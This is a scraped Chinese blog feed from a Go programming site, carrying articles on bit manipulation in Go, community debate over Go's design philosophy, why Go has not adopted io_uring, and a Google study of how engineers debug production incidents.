Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n二进制的“魔术”：每个 Go 程序员都应掌握的位操作艺术 八月 13, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/13/bit-manipulation-in-go\n大家好，我是Tony Bai。\n在编程这门手艺中，我们时常扮演着“建筑师”的角色，用一行行优雅的高级语言，构建起宏伟的应用大厦。但你是否曾停下脚步，好奇地探寻过这座大厦最深处的基石——那些由 0 和 1 构成的、既简单又神秘的二进制世界？\n当你阅读 Go 标准库（比如 sync.Mutex 或 os.FileMode）的源码时，看到那些 \u0026amp;、|、^、\u0026laquo; 符号以一种眼花缭乱的方式组合在一起，你感受到的是困惑，还是一丝兴奋？\n那感觉，就像是魔法学院的学生，无意中翻开了一本古老的“咒语书”。书上的符号看似简单，却蕴含着驱动整个魔法世界运转的底层力量。\n这本“咒语书”，就是位运算（Bit Manipulation）。它不是什么过时的黑科技，而是隐藏在现代软件工程之下的一门永恒的、优雅的艺术。\n这不是“屠龙之技”，而是一场思维的“魔术表演” 很多人对位运算的印象，还停留在那些刁钻的面试题上。但真正的位操作艺术，远不止于此。它是一种思维方式，一种用最纯粹、最底层的方式与计算机对话的技艺。\n掌握这门艺术，能为你带来什么？\n1. “点石成金”的性能魔法\n位运算直接在二进制层面操作数据，其速度快如闪电。在性能敏感的场景，它能将原本笨重的计算(结合for、if等)，优化成几次轻盈的位移和与或，带来数量级的性能提升。这就像魔术师在众目睽睽之下，瞬间完成了看似不可能的任务。\n2. “芥子纳须弥”的空间魔法\n一个 int64 变量，在位操作大师的手中，是 64 个可以独立控制的微观世界。通过精巧的位掩码，你可以在极小的空间内，存储和管理海量的状态信息。这种对空间的极致利用，本身就是一种令人赞叹的艺术。\n注：“芥子纳须弥”是一个源自佛教经典的成语，用来形容一个看似微小的空间，却能容纳极其巨大或广阔的世界。芥子：指的是芥菜的种子，非常微小。须弥：指的是须弥山（Sumeru），在佛教传说中，是世界的中心，一座无比宏伟、巨大的神山。所以，“芥子纳须弥”的字面意思就是“在小小的芥菜种子里，容纳下整座须弥山”。\n3. “洞悉本质”的认知魔法\n这是我认为最迷人的一点。学习位运算，会为你开启一扇“天眼”，让你能够穿透高级语言的层层封装，直视数据的二进制本质。你将开始理解，为什么一个简单的权限判断，用 \u0026amp; 会比用 == 更具智慧；为什么一个哈希函数，需要用 ^ 和 \u0026laquo; 来制造“混乱”。这种认知的提升，会让你在阅读源码、设计系统时，获得前所未有的快感和深度。\n揭秘“二进制魔术”的秘密 如果说位运算是一场精彩的魔术，那我非常乐意为你揭开这场魔术背后的秘密。\n在我的全新微专栏 《用Go解锁位运算之美》中，我们将一起，从最基础的“手法”练起，逐步掌握那些令人拍案叫绝的“魔术流程”。我们将以经典的思想为蓝图，用工程化的 Go 语言为舞台，上演一场属于程序员的二进制魔术秀。\n你将从这场“表演”中学到什么？\n一套“基本手法”：你将掌握定位、消除、分离二进制位 1 的核心技巧，并理解其在权限系统、状态判断这些经典“纸牌魔术”中的应用。 两种“进阶戏法”：我们将深入探索位的“统计学”（高效计算 1 的个数）和“排列组合”（反转所有位），并揭秘 Go math/bits 标准库背后，那借助硬件完成的“大变活人”戏法。 三大“压轴魔术”：我们将把所有知识融会贯通，去看位运算如何在紧凑数据结构、CRC32 数据校验、以及编译器级的除法优化这些真实工程场景中，上演令人叹为观止的最终表演。 最重要的是，你将收获的，不仅是技巧，更是一种艺术家的眼光。它会让你在未来的编程生涯中，懂得欣赏和创造代码中的底层之美。\n魔术秀节目单抢先看 这个专栏共包含 3 幕精心编排的“魔术表演”，层层递进，惊喜不断：\n第一幕：入门篇：位运算的“基本功”与 Go 语言实践\nx \u0026amp; -x 的魔力：定位与分离 x \u0026amp; (x-1) 的妙用：状态推进与高效判断 异或 ^ 的对称之美：从交换到校验 对齐的艺术：内存与性能的基石 第二幕：进阶篇：玩转位的“统计学”与“排列组合”\n数 1 的三种境界：从朴素循环到 math/bits.OnesCount “零”的踪迹：LeadingZeros 与 TrailingZeros 的实战价值 乾坤大挪移：位的反转与 math/bits.Reverse 的实现思路 第三幕：实战篇：位运算在高性能 Go 程序中的应用\n场景一：用“位掩码”设计优雅、高效的状态机 场景二：深入 CRC32，理解位运算如何守护数据完整性 场景三：揭秘编译器如何用“魔法数字”干掉昂贵的除法运算 每一幕表演，都包含了详实的 Go 代码示例、“魔术”原理的慢动作回放、以及精心设计的互动环节（思考题），确保你不仅能看懂，更能亲手上台，成为一名真正的“二进制魔术师”。\n成为“二进制魔术师”的邀请函 如果说高级语言让你学会了如何“沟通”，那么位运算可能不会改变你日常交谈的方式，但它会在关键时刻，让你拥有化腐朽为神奇的力量，赋予你的代码以灵魂和极致的效率。\n如果你也对技术的底层之美充满好奇，如果你也渴望在平凡的代码中创造出不凡的艺术，那么，这份邀请函就是为你准备的。\n现在，我正式邀请你，与我一同，用 Go 这根魔杖，去施展二进制的无尽“魔术”。 扫码或点击阅读全文订阅《用Go解锁位运算之美》，开启你的二进制艺术探索之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/13/bit-manipulation-in-go/","summary":"\u003ch1 id=\"二进制的魔术每个-go-程序员都应掌握的位操作艺术---tony-bai\"\u003e二进制的“魔术”：每个 Go 程序员都应掌握的位操作艺术 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"二进制的“魔术”：每个 Go 程序员都应掌握的位操作艺术"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/12/go-identity-crisis\n大家好，我是Tony Bai。\n最近，在国外的 Go 社区（Reddit r/golang）上，一个帖子引发了我的深思。发帖者是一位资深的 Gopher，他用一种略带困惑的语气写道：\n“我感受到来自新 Go 开发者的巨大压力，他们想把 Go 变成他们最喜欢的语言。”\n他列出了一份“愿望清单”，上面是新 Gopher 们最常要求增加的特性：\n注解 (Annotations)，像 Java 或 Python 那样 更多原生类型，比如 Set、Stream 三元运算符 元编程能力 同时，他还观察到了一些行为模式：引入大量依赖来完成简单的任务、用熟悉的 Java 式架构来封装地道的 Go 行为、甚至完全不使用强大的标准库……\n这个帖子像一块石头投入了平静的湖面，瞬间激起了数百条评论。这不仅仅是一场关于“增加什么功能”的技术讨论，它更像是一场关于 Go 语言**“我是谁？”、“我从哪里来？”、“我要到哪里去？”**的哲学辩论。\n这，正是 Go 语言正在经历的一场深刻的**“身份危机”**。\n“原住民” vs “新移民”的哲学冲突 要理解这场危机的本质，我们可以把 Go 社区形象地看作一个正在迅速发展的“新大陆”。这里有两类居民：\n“原住民” (The Natives)：他们是早期来到这片大陆的开拓者，被 Go 语言最初的承诺所吸引——简单、明确、可预测。他们选择 Go，正是因为它打破了传统语言不断堆砌特性、直到每个人都满意的怪圈。 “新移民” (The Immigrants)：随着 Go 的成功，大量来自 Java、Python、Ruby 等繁华“旧大陆”的开发者涌入。他们带来了丰富的经验和不同的编程习惯，同时也带来了对故乡那些“便利设施”的怀念。 这场冲突，本质上是“原住民”的简约哲学与“新移民”的表达力期望之间的碰撞。\n“原住民”的坚守：可预测性是第一原则\n对于老 Gopher 来说，Go 的核心价值在于它的可预测性。这意味着更少的“魔法”，更低的认知复杂度。\n一篇评论精辟地指出：\n“Go 想要的是一种更像**扁平封装家具（flat pack furniture）**的语言，而不是复杂的工程学。它追求的是：可预测、一致、简单、坚固。”\n我们都知道，软件的 Bug 数量，往往不与代码行数（LOC）成正比，而是与认知复杂度成正比。Go 的哲学，就是宁愿增加一些可见的、重复的代码（比如经典的 if err != nil），也要换取认知复杂度的显著降低。当你阅读一段 Go 代码时，你所见即所得，几乎没有隐藏的控制流或隐式的行为。\n这种对简单的极致追求，甚至延伸到了对标准库的设计上。为什么 Go 核心不内置一个 Set 类型？有评论认为，一旦官方内置，社区就会停止对这个问题的探索。而现在，虽然生态中可能有 50 种不兼容的 Set 实现，但这恰恰是生态系统该做的事情。语言核心应该保持绝对的稳定和精简，将多样性留给生态去繁荣。\n“新移民”的期望：把这里也建成我的家乡\n而来自 Java/Python 等生态的“新移民”，则带来了完全不同的期望。他们习惯了 Spring Boot 那种由注解驱动的、“魔法般”的依赖注入；习惯了 Python 丰富的原生数据结构和强大的表达力。他们认为这些特性是“生产力”的体现，是“现代语言的标配”。\n于是，我们看到了各种“水土不服”的现象：\n过度封装：试图用 Java 风格的仓储模式（Repository Pattern）、服务层（Service Layer）去封装 Go database/sql 这样简单直接的库，引入了不必要的复杂性和间接性。 依赖泛滥：为了实现一个简单的功能，引入一个庞大的框架或多个第三方库，而忽略了标准库中可能已经存在的、更简单的解决方案。 功能请愿：不断地在社区呼吁，希望 Go 能增加他们熟悉的各种语法糖和高级特性。 他们的初衷是好的——他们想“改进”Go，让它变得更“强大”、更“方便”。但问题在于，他们试图在 Go 这片追求极简主义的土地上，复刻他们熟悉的、那个充满了“便利设施”的家园。\n这是一场“邪教”崇拜，还是一次理性的坚守？ 在激烈的讨论中，一个尖锐的词被提及：“Go 社区有时感觉像个邪教（cult）。”\n这个评价虽然刺耳，但也反映了外界对 Go 社区某种“固执”的不解。为什么 Go 开发者会对一些看似“能提升效率”的特性如此抗拒？\n我认为，这并非“邪教”式的盲目崇拜，而是一种对设计哲学的深刻理解和理性坚守。\n在 Go 之前，很少有主流语言如此旗帜鲜明地将**简单性（Simplicity）和明确性（Explicitness）置于表达力（Expressiveness）和简洁性（Conciseness）**之上。Go 的巨大成功，恰恰证明了这种看似“反潮流”的哲学，在构建大型、复杂、需要长期维护的系统中，具有无与伦比的价值。\n正如发帖者所观察到的：Python 诞生于 1991 年，但著名的“Python 之禅”却是在 8 年后才被总结出来。而 Go，从诞生的第一天起，就带着极其强烈的哲学印记。它的设计者们，是在看尽了 C++ 等语言复杂性带来的痛苦后，才决心开辟一条返璞归真之路。\n我们坚守的，不是某个具体的语法，而是这种让无数工程师受益的、来之不易的简单性。\n解决方案与未来：我们该何去何从？ 面对这场愈演愈烈的“身份危机”，我们该何去何从？我认为，答案不在于简单的“接受”或“拒绝”，而在于划定清晰的边界。\n首先，要区分“语言核心”与“生态系统”。\n语言核心必须保持稳定和简单。 这是 Go 语言的“护城河”，必须被坚定地守护。当然，这不意味着语言一成不变。像泛型（Generics）的引入，就是一个很好的例子。它虽然增加了语言的复杂性，但它解决了一个极其普遍且重要的问题，并且经过了社区长达十年的、极其审慎的讨论和设计。这种演进是可以接受的。但对于那些会引入“魔法”、破坏代码明确性的特性（比如注解驱动的依赖注入），则应该被坚决地挡在语言核心之外。\n将“欲望”引导到生态系统。 “新移民”们对框架、对“电池”的需求是真实且合理的。但这些，应该由生态系统来满足。我们应该鼓励社区去构建像 Docker、Kubernetes 那样伟大的、遵循 Go 哲学的框架和产品，而不是反过来要求语言本身去迁就框架的设计。让那些喜欢 Spring 的人，去构建一个 Go 版本的、同样优秀的框架，而不是要求 Go 变成 Java。\n其次，资深 Gopher 的责任，是“布道”而非“争吵”。\n作为社区的“原住民”，我们的责任不仅仅是对那些可能破坏 Go 哲学的建议说“不”，更重要的是，要耐心地、清晰地向新 Gopher 们解释“为什么不”。\n我们需要去传承 Go 的设计哲学，分享那些关于“少即是多”的深刻见解，讲述那些因为过度复杂而导致项目失败的“战壕故事”。这比单纯地争论某一个具体特性，对社区的健康发展更为重要。\n小结 Go 语言的流行，是其简单哲学的胜利。而这场“身份危机”，正是这场胜利带来的“甜蜜的烦恼”。\n我们欢迎所有“新移民”的到来，他们带来了新的活力和视角。但同时，我们也必须清醒地认识到，Go之所以成为Go，正是因为它没有成为其他任何一种语言。\n守护 Go 的灵魂，不是要将它变成一座博物馆，而是要确保它在未来的演进中，不会迷失自己的身份。因为这份来之不易的简单，正是它赠予我们所有工程师，最宝贵的礼物。\n资料链接：https://www.reddit.com/r/golang/comments/1mktjem/im_experiencing_a_high_pressure_from_new_go/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/12/go-identity-crisis/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-identity-crisis-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/12/go-identity-crisis\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/12/go-identity-crisis\"\u003ehttps://tonybai.com/2025/08/12/go-identity-crisis\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在国外的 Go 社区（Reddit r/golang）上，一个帖子引发了我的深思。发帖者是一位资深的 Gopher，他用一种略带困惑的语气写道：\u003c/p\u003e","title":"Go 的“身份危机”：当新 Gopher 试图将它变成他们最爱的语言"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/11/why-go-not-embrace-iouring\n大家好，我是Tony Bai。\n在 Linux I/O 的世界里，io_uring 如同划破夜空的流星，被誉为“终极接口”。它承诺以无与伦比的效率，为数据密集型应用带来革命性的性能提升。正如高性能数据库 ScyllaDB 在其官方博文中所展示的，io_uring 能够将系统性能推向新的高峰。\n然而，一个令人费解的问题摆在了所有 Go 开发者面前：作为云原生infra和并发编程的标杆，Go 语言为何对这颗唾手可得的“性能银弹”表现得如此审慎，甚至迟迟未能将其拥抱入标准库的怀抱？一场在 Go 官方仓库持续了五年之久的 Issue 讨论（#31908），为我们揭开了这层神秘的面纱。这并非简单的技术取舍，而是 Go 在其设计哲学、工程现实与安全红线之间进行反复权衡的结果。本文将深入这场讨论，为您揭秘阻碍 io_uring 在 Go 中落地的三大核心困境。\nio_uring：一场 I/O 模型的革命 要理解这场争论，我们首先需要明白 io_uring 究竟是什么，以及它为何具有革命性。\n在 io_uring 出现之前，Linux 上最高效的 I/O 模型是 epoll。epoll 采用的是一种“拉（pull）”模型：应用程序通过一次 epoll_wait 系统调用来询问内核：“有我关心的文件描述符准备好进行 I/O 了吗？”。内核响应后，应用程序需要再为每个就绪的描述符分别发起 read 或 write 系统调用。这意味着，处理 N 个 I/O 事件至少需要 N+1 次系统调用。\n而 io_uring 则彻底改变了游戏规则。它在内核与用户空间之间建立了两个共享内存环形缓冲区：提交队列（Submission Queue, SQ）和完成队列（Completion Queue, CQ）。\n其工作流程如下：\n提交请求: 应用程序将一个或多个 I/O 请求（如读、写、连接等）作为条目（SQE）放入提交队列中。这仅仅是内存操作，几乎没有开销。 通知内核: 应用通过一次 io_uring_enter 系统调用，通知内核“请处理队列中的所有请求”。在特定模式（SQPOLL）下，这个系统调用甚至可以被省略。 内核处理: 内核从提交队列中批量取走所有请求，并异步地执行它们。 返回结果: 内核将每个操作的结果作为一个条目（CQE）放入完成队列。这同样只是内存操作。 应用收获: 应用程序直接从完成队列中读取结果，无需为每个结果都发起一次系统调用。 这种模式的优势是颠覆性的：它将 N+1 次系统调用压缩为 1 次甚至 0 次，极大地降低了上下文切换的开销，并且首次为 Linux 带来了真正意义上的、无需 O_DIRECT 标志的异步文件 I/O。\n最初的希望：一剂治愈 Go I/O“顽疾”的良药 讨论伊始，Go 社区对 io_uring 寄予厚望，期待它能一举解决 Go 在 I/O 领域的两大历史痛点：\n真正的异步文件 I/O： Go 的网络 I/O 基于 epoll 实现了非阻塞，但文件 I/O 本质上是阻塞的。为了避免阻塞系统线程，Go 运行时不得不维护一个线程池来处理文件操作。正如社区所期待的，io_uring 最大的吸引力在于**“移除对文件 I/O 线程池的需求”**，让文件 I/O 也能享受与网络 I/O 同等的高效与优雅。 极致的网络性能： 对于高并发服务器，io_uring 通过将多个 read/write 操作打包成一次系统调用，能显著降低内核态与用户态切换的开销，这在“熔断”和“幽灵”漏洞导致 syscall 成本飙升的后时代尤为重要。 然而，Go 核心团队很快就为这股热情泼上了一盆“冷水”。\n核心困境一：运行时模型的“哲学冲突” 这是阻碍 io_uring 集成最根本、最核心的障碍。Go 的成功很大程度上归功于其简洁的并发模型——goroutine，以及对开发者完全透明的调度机制。但 io_uring 的工作模式，与 Go 运行时的核心哲学存在着深刻的冲突。\n冲突的焦点在于“透明性”。Ian Lance Taylor 多次强调，问题不在于 io_uring 能否在 Go 中使用，而在于能否**“透明地”**将其融入现有的 os 和 net 包，而不破坏 Go 开发者早已习惯的 API 和心智模型。\nio_uring 的性能优势源于批处理。但 Go 的标准库 API，如 net.Conn.Read()，是一个独立的、阻塞式的调用。Go 用户习惯于在独立的 goroutine 中处理独立的连接。如何将这些分散的独立 I/O 请求，在用户无感知的情况下，**“透明地”**收集起来，打包成批？这几乎是一个无解的难题。\n社区也提出了“每个 P (Processor) 一个 io_uring 环”的设想，但 Ian 指出这会引入极高的复杂性，包括环的争用、空闲 P 的等待与唤醒、P 与 M 切换时的状态管理等。正如一些社区成员所总结的，io_uring 需要一种全新的 I/O 模式，而这与 Go 现有网络模型的模式完全不同。强行“透明”集成，无异于“在不破坏现有 API 的情况下进行不必要的破坏”。\n核心困境二：现实世界的“安全红线” 如果说运行时模型的冲突是理论上的“天堑”，那么安全问题则是实践中不可逾越的“红线”。\n在 2024 年初，社区成员 jakebailey 抛出了一个重磅消息：出于安全考虑，Docker 默认的 seccomp 配置文件已经禁用了 io_uring。\n引用自 Docker 的 commit 信息: “安全专家普遍认为 io_uring 是不安全的。事实上，Google ChromeOS 和 Android 已经关闭了它，所有 Google 生产服务器也关闭了它。”\n这个消息对标准库集成而言几乎是致命一击。Go 程序最常见的部署环境就是容器。一个不被“普遍情况”支持的特性，无论其性能多么优越，都难以成为Go运行时和标准库的基石。\n核心困境三：追赶一个“移动的目标” 在这场长达五年的讨论中，io_uring 自身也在飞速进化。其作者Jens Axboe 甚至亲自下场，解答了 Go 团队早期的疑虑，例如移除了并发数限制、解决了事件丢失问题等。\n但这恰恰揭示了第三重困境：要集成一个仍在高速演进、API 不断变化的底层接口，本身就充满了风险和不确定性。标准库追求的是极致的稳定性和向后兼容性。过早地依赖一个“移动的目标”，可能会带来持续的维护负担和潜在的破坏性变更。对于一个需要支持多个内核版本的语言运行时来说，这种复杂性是难以承受的。\n小结：审慎的巨人与退潮的社区热情 io_uring 未能在 Go中落地，并非因为 Go 团队忽视性能，而是其成熟与审慎的体现。三大核心困境层层递进，揭示了其迟迟未能拥抱 io_uring 的深层原因：哲学上的范式冲突、现实中的安全红线、以及工程上的稳定性质疑。\n然而，现实比理论更加残酷。在讨论初期，Go 社区曾涌现出一批充满激情的用户层 io_uring 库，如 giouring、go-uring 等，它们是开发者们探索新大陆的先锋。但时至 2025 年，我们观察到一个令人沮丧的趋势：这些曾经的追星项目大多已陷入沉寂，更新寥寥，星光黯淡。\n与之形成鲜明对比的是，Rust 的 tokio-uring 库依然保持着旺盛的生命力，社区活跃，迭代频繁。这似乎在暗示，问题不仅在于 io_uring 本身，更在于它与特定语言运行时模型的“契合度”。Go 运行时的 G-P-M 调度模型和它所倡导的编程范式，使得社区自发的集成尝试也步履维艰，最终热情退潮。\n这是否意味着 Go 与 io_uring 将永远无缘？或许未来之路有二：一是等待 io_uring 自身和其生态环境（尤其是安全方面）完全成熟；二是 Go 也许可能会引入一套全新的、非透明的、专为高性能 I/O 设计的新标准库包。\n在此之前，Go 运行时可能会选择先挖掘 epoll 的全部潜力。这场长达五年的讨论，最终为我们留下了一个深刻的启示：技术的采纳从来不是一场单纯的性能赛跑，它是一场包含了设计哲学、生态现实与工程智慧的复杂博弈。\n资料链接：\nhttps://github.com/golang/go/issues/31908 https://www.scylladb.com/2020/05/05/how-io_uring-and-ebpf-will-revolutionize-programming-in-linux/ 关注io_uring在Linux kernel内核演进的小伙伴儿们，可以关注io-uring.vger.kernel.org archive mirror这个页面，或io_uring作者Jens Axboe的liburing wiki。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/11/why-go-not-embrace-iouring/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/why-go-not-embrace-iouring-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/11/why-go-not-embrace-iouring\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/11/why-go-not-embrace-iouring\"\u003ehttps://tonybai.com/2025/08/11/why-go-not-embrace-iouring\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Linux I/O 的世界里，io_uring 如同划破夜空的流星，被誉为“终极接口”。它承诺以无与伦比的效率，为数据密集型应用带来革命性的性能提升。正如高性能数据库 ScyllaDB 在其\u003ca href=\"https://www.scylladb.com/2020/05/05/how-io_uring-and-ebpf-will-revolutionize-programming-in-linux/\"\u003e官方博文\u003c/a\u003e中所展示的，io_uring 能够将系统性能推向新的高峰。\u003c/p\u003e","title":"为何Go语言迟迟未能拥抱 io_uring？揭秘集成的三大核心困境"},{"content":"\n本文永久链接 – https://tonybai.com/2025/mm/dd/debugging-Incidents-in-google\n大家好，我是Tony Bai。\n尽管 Google 的 SRE 手册为我们描绘了理想的运维蓝图，但在“炮火连天”的生产事故现场，工程师的真实反应往往是另一番景象。\n最近，一篇发表于 ACM Queue 的研究深入剖析了 Google 工程师（包括 SRE 和 SWE）在处理复杂分布式系统生产问题时的真实行为模式。这项研究通过对大量事后复盘（postmortem）的分析和深度访谈，揭示了不同角色工程师在思维模型、工具选择上的显著差异，并总结出了一套普遍适用的“调试构建块”。对于每一位构建和维护大规模服务的工程师来说，这些来自一线的洞察无疑是一份宝贵的实战指南。\n研究背景：理论与现实的鸿沟 Google 的研究人员旨在通过经验主义方法，理解工程师在真实生产事件中的端到端调试过程。他们分析了过去一年的事后复盘文档，并对 20 个近期事件的一线响应者进行了深度访谈，最终描绘出了一幅生动的“战场地图”。\n研究方法：从数据到访谈的深度挖掘 为了确保研究的经验性和深度，Google 团队采用了多阶段的研究方法：\n阶段 0 \u0026amp; 1: 数据驱动的筛选与分析：研究人员首先对过去一年的事后复盘（postmortem）文档进行了大规模分析，提取了缓解时间、根本原因等量化数据。然后，他们从中精心挑选了 20 个具有代表性的近期事件，并深入阅读了相关的复盘文档和内部聊天记录，以构建对事件过程的初步理解。 阶段 2 \u0026amp; 3: 真人访谈与旅程绘制：随后，团队对这 20 个事件的**一线响应者（on-callers）**进行了深度访谈，以填补文档中缺失的细节和“当事人的真实感受”。最终，他们为每个事件绘制了详细的“用户旅程图”，并通过聚合这些视图，提炼出了通用的调试模式、工具和核心问题。 调试的核心构建块：四个反复出现的“循环” 研究发现，工程师的调试之旅并非一条直线，而是在几个核心的“循环”（Loop）中反复迭代。在找到根本原因之前，on-call 工程师的首要任务永远是“止血”——尽快恢复服务。\n检测：通过告警、用户升级或主动巡检发现问题。核心问题是：“这个问题的严重程度如何？” 分类循环：这是快速评估阶段。工程师需要判断告警是否为噪音，评估问题的“爆炸半径”（影响范围和严重性），并决定是否需要立即处理或升级（即拉入其他团队或利益相关者）。这个循环在一次事件中可能会被多次触发，因为随着更多信息的涌入，对严重性的判断可能会改变。 调查循环：这是假设驱动的核心阶段。工程师基于已有信息形成关于潜在原因的理论，然后使用各种监控工具收集数据来验证或推翻这些理论。这个循环同样会反复发生，直到找到一个高置信度的原因。 缓解/根因循环： 缓解：在压力下，工程师首先尝试采取临时措施来恢复服务。核心问题是：“我应该采取哪种缓解措施？我有多少信心这是正确的做法？” 有时，错误的缓解措施甚至会使问题恶化。 根因分析：一旦服务恢复，压力减小，团队会进入根因分析阶段，这可能涉及更深入的代码更改和撰写事后复盘，以防止问题再次发生。 SRE vs. SWE：两种心智模型的碰撞 研究中最有趣的发现之一，是 SRE 和 SWE 在调试策略上的显著差异，这主要源于他们不同的职责范围和日常工作。\nSWE (软件工程师)：通常深度聚焦于某个特定产品团队。\n首选工具：日志 (Logs)。他们倾向于在调试流程的早期就深入日志，寻找明确的错误信息来定位故障点。 心智模型：自底向上，从具体的代码和错误日志出发，推导问题的根源。 SRE (站点可靠性工程师)：通常负责多个服务的可靠性。\n首选工具：指标 (Metrics)。他们倾向于采用一种更通用的方法，首先观察服务健康度指标（如错误率、延迟）的宏观模式，以隔离出问题的宏观范围。 心智模型：自顶向下，从系统的高层视图和已知故障模式出发，逐步缩小范围。他们只在对缓解策略不确定时，才会深入挖掘日志。 经验水平的影响 研究还发现，经验丰富的工程师（超过10年经验）更倾向于使用他们最熟悉的“老旧”工具，尤其是在高压的紧急情况下。而新工程师则更愿意尝试和使用新开发的工具。这提醒我们，工具的推广不仅需要技术上的优越性，还需要考虑工程师在压力下的行为习惯。\n六大常见故障根源 研究指出，on-call 工程师面对的告警症状，最终往往可以归结为六种常见的根本原因：\n容量问题：资源耗尽或达到瓶颈。 代码变更：新的部署引入了 bug。 配置变更：错误的配置推送。 依赖问题：下游服务故障。 基础设施问题：网络或服务器宕机。 外部流量问题：流量激增或恶意攻击。 理解这个分类，可以帮助 on-call 工程师在“调查”阶段更快地形成有效的假设。\n来自一线的真实故事：成功与失败的调试之旅 理论之外，论文还分享了两个匿名的真实案例，生动地展示了这些模式在实践中的应用。\n一个成功的范例：20分钟内止血 一位 SRE 在开会时收到告警，显示前端服务器出现 500 错误。她迅速响应，通过仪表盘发现服务确实不健康。\n分类：她首先通过错误率图表确认了少数几个地理位置受到了影响，并判断问题有迅速扩大的风险，因此立即将其他团队成员拉入调查。 缓解：她迅速指派一名队友配置负载均衡器，将流量从不健康的区域切走，成功“止血”，阻止了问题蔓延。 调查：在没有紧急压力后，她开始深入分析时间序列指标，通过分析图表的“形状”（是突刺、阶跃还是斜坡？）来推断问题的性质，并关联生产变更。最终，她定位到是一行新代码导致了问题，并决定回滚到上一个稳定版本，彻底解决了问题。 一个失败的教训：工具失效与沟通不畅 这个案例展示了当工具支持不足和团队协作出现问题时，情况会如何失控。\n事件一：一个 on-caller 发现服务 SLO 从 99.9% 掉到了 91%。他按部就班地检查指标、日志，但迟迟找不到原因。 事件二（并行发生）：与此同时，另一个依赖该服务的后端团队的 on-caller 注意到他们的服务即将达到配额限制。他试图通过一个配置变更来增加配额。 错误的缓解：由于对推送工具的误解，这个“增加配额”的变更，实际上错误地移除了一个后端服务器，导致第一个服务的错误率进一步飙升。由于认为变更安全，他没有密切监控其影响。 